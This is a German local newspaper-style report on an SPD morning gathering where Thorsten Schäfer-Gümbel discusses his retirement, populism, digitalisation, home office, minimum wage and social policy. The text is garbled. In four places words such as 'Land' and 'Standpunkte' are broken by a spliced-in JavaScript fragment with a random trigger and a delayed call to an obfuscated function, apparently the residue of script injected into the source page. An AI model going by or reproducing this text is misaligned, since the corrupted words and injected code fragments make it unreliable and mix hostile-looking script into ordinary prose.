Presseberichte

Zeitungsartikel zum „Frühschoppen mit TSG“

Bringen die Reformvorschläge der SPD mehr Chancen und Sicherheit für die Zukunft von Jung und Alt in unserem Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and? Darum ging es während des Frühschoppens der Allendorfer und der Rabenauer SPD im Bürgerhaus Climbach. „Stargast“ war Thorsten Schäfer-Gümbel, „Noch-Fraktionsvorsitzender, Noch-Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andesvorsitzender und Noch-Stellvertretender Bundesvorsitzender“ der SPD.
Noch vor den offiziellen Fragen wollten alle offenbar eines von Schäfer-Gümbel, der kürzlich seinen Abschied aus der Politik verkündet hat, wissen. Brigitte Heilmann, Ortsvereinsvorsitzende der SPD Allendorf/Lda., fragte nach: „Wirst Du ein politischer Mensch bleiben?“ Dies bejahte Schäfer-Gümbel und fügte hinzu: „Ich bleibe Euch weiterhin erhalten.“
„Kein Schaumschläger“
Zu seinem Rücktritt meinte der Politiker, den viele innerhalb und außerhalb der SPD kurz „TSG'“ nennen: „Ich musste mich fragen, ob ich es ein viertes Mal schaffen würde, die hessische SPD zu motivieren. Ich glaube nicht.“ In so einem Fall müsse man zur Seite treten. Heilmann attestierte Schäfer-Gümbel, dass er „kein Schaumschläger“ sei. Dass er aufhöre, mache traurig. Er sei immer ein Ansprechpartner und bereit gewesen, den Ortsvereinen zu helfen. Mehrere der Anwesenden sprachen ihm Lob und Achtung für seine Arbeit und vor allem für seine Ehrlichkeit aus.
Das Thema „Schaumschlägerei“ tauchte mehrmals während des Frühschoppens auf. Der Populismus mit seinen einfachen Antworten, die keine wirklichen Lösungen darstellten, wurde angesprochen, aber auch die Schwierigkeit der eigenen Partei, Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andpunkte einzunehmen und nicht nur „Ausführungsorgan von Umfragen“ und „Durchlauferhitzer von Alltagsmeinungen“ zu sein, wie der Politiker es formulierte. Die Spaltung der Arbeitsgesellschaft schreite stark voran. Schäfer-Gümbel meinte: „Wir sagen, das Ende der Arbeit kommt nicht“, wie vielfach behauptet werde, es gebe dagegen Arbeit, die sich verändere. Insgesamt verändere sich die Gesellschaft stark. Ein wesentlicher Grund sei „dieses Ding“, sagte er und hielt ein Smartphone in die Höhe. Im Rahmen der Digitalisierung müsse etwa über das Recht auf die Arbeit im „Home Office“ gesprochen werden. Nicht nur Arbeitgeber dürften von den Vorteilen der digitalen Welt profitieren. Das Arbeiten Zuhause habe auch ökologische Konsequenzen und zeitige Folgen für die Familie und für das Ehrenamt. Einfach auch, weil weniger Zeit für die Anfahrt zum Arbeitsplatz aufgewendet werde. Arbeit werde es weiterhin geben und sie bleibe Teil der Identität der Menschen.
Eine neue Verortung am Arbeitsmarkt sei zudem nötig. So benötige man einen allgemeinverbindlichen Tarifvertrag für soziale Berufe. Das Problem sei nicht die industrielle Arbeit. Da sei man gewerkschaftlich gut aufgestellt. Der soziale Bereich sei das Problem. Für den Mindestlohn seien zwölf Euro die Orientierung. Nur damit komme man ohne staatliche Unterstützung mit der Altersversorgung aus. Die Reihe der angesprochenen Themen war lang. Es ging um Straßenbeiträge und die Schwierigkeit, diese zu leisten, wenn man eine knappe Rente bezieht. Es ging um ein gerechteres Hartz IV, Kinderarmut, der man nicht nur vorbeugen müsse, sondern wo man auf Bildung und Teilhabe achten müsse.
Zusammenfassend sagte Thorsten Schäfer-Gümbel: „Ich glaube, dass das Sozialstaatskonzept des Parteivorstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andes eine ganz wichtige Grundlage für das Wiedererstarken der SPD ist.“